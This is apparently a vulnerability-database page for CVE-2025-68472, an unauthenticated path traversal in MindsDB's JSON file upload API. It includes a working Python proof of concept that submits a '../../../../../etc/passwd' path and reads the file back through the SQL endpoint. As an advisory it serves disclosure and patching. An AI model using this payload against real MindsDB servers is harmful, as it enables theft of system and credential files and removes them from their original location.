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CVE-2025-68472 (GCVE-0-2025-68472)

Vulnerability from cvelistv5 – Published: 2026-01-12 16:53 – Updated: 2026-01-12 18:36

Title

MindsDB has improper sanitation of filepath that leads to information disclosure and DOS

Summary

MindsDB is a platform for building artificial intelligence from enterprise data. Prior to version 25.11.1, an unauthenticated path traversal in the file upload API lets any caller read arbitrary files from the server filesystem and move them into MindsDB’s storage, exposing sensitive data. The PUT handler in file.py directly joins user-controlled data into a filesystem path when the request body is JSON and source_type is not "url". Only multipart uploads and URL-sourced uploads receive sanitization; JSON uploads lack any call to clear_filename or equivalent checks. This vulnerability is fixed in 25.11.1.

Severity ?

8.1 (High)


                        
                          CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
CWE-23 - Relative Path Traversal
CWE-36 - Absolute Path Traversal

Assigner

GitHub_M

References

URL

Tags

https://github.com/mindsdb/mindsdb/security/advis…

x_refsource_CONFIRM

Impacted products

	Vendor	Product	Version
	mindsdb	mindsdb	Affected: < 25.11.1

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GHSA-QQHF-PM3J-96G7

Vulnerability from github – Published: 2026-01-12 16:10 – Updated: 2026-01-12 20:06

Summary

MindsDB has improper sanitation of filepath that leads to information disclosure and DOS

Details

Summary

An unauthenticated path traversal in the file upload API lets any caller read arbitrary files from the server filesystem and move them into MindsDB’s storage, exposing sensitive data. Severity: High.

Details

The PUT handler in file.py directly joins user-controlled data into a filesystem path when the request body is JSON and source_type is not "url":

data = request.json (line ~104) accepts attacker input without validation.
file_path = os.path.join(temp_dir_path, data["file"]) (line ~178) creates the path inside a temporary directory, but if data["file"] is absolute (e.g., /home/secret.csv), os.path.join ignores temp_dir_path and targets the attacker-specified location.
The resulting path is handed to ca.file_controller.save_file(...), which wraps FileReader(path=source_path) (mindsdb/interfaces/file/file_controller.py:66), causing the application to read the contents of that arbitrary file. The subsequent shutil.move(file_path, ...) call also relocates the victim file into MindsDB’s managed storage.

Only multipart uploads and URL-sourced uploads receive sanitization; JSON uploads lack any call to clear_filename or equivalent checks.

PoC

Run MindsDB in Docker: bash docker pull mindsdb/mindsdb:latest docker run --rm -it -p 47334:47334 --name mindsdb-poc mindsdb/mindsdb:latest
Execute the exploit from the host (save as poc.py and run with python poc.py): ```python # poc.py import requests, json

base = "http://127.0.0.1:47334" payload = {"file": "../../../../../etc/passwd"} # no source_type -> hits vulnerable branch

r = requests.put(f"{base}/api/files/leak_rel", json=payload, timeout=10) print("PUT status:", r.status_code, r.text)

q = requests.post( f"{base}/api/sql/query", json={"query": "SELECT * FROM files.leak_rel"}, timeout=10, ) print("SQL response:", json.dumps(q.json(), indent=2)) `` 3. The SQL response returns the contents of/etc/passwd` . The original file disappears from its source location because the handler moves it into MindsDB’s storage directory.

Impact

Any user able to reach the REST API can read and exfiltrate arbitrary files that the MindsDB process can access, potentially including credentials, configuration secrets, and private keys.

Severity ?

8.1 (High)


                  
                    CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

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FKIE_CVE-2025-68472

Vulnerability from fkie_nvd - Published: 2026-01-12 17:15 - Updated: 2026-01-12 17:15

Severity ?

8.1 (High) - CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/mindsdb/mindsdb/security/advisories/GHSA-qqhf-pm3j-96g7

Impacted products

	Vendor	Product	Version

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Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

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CVE-2025-68472 (GCVE-0-2025-68472)

GHSA-QQHF-PM3J-96G7

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FKIE_CVE-2025-68472

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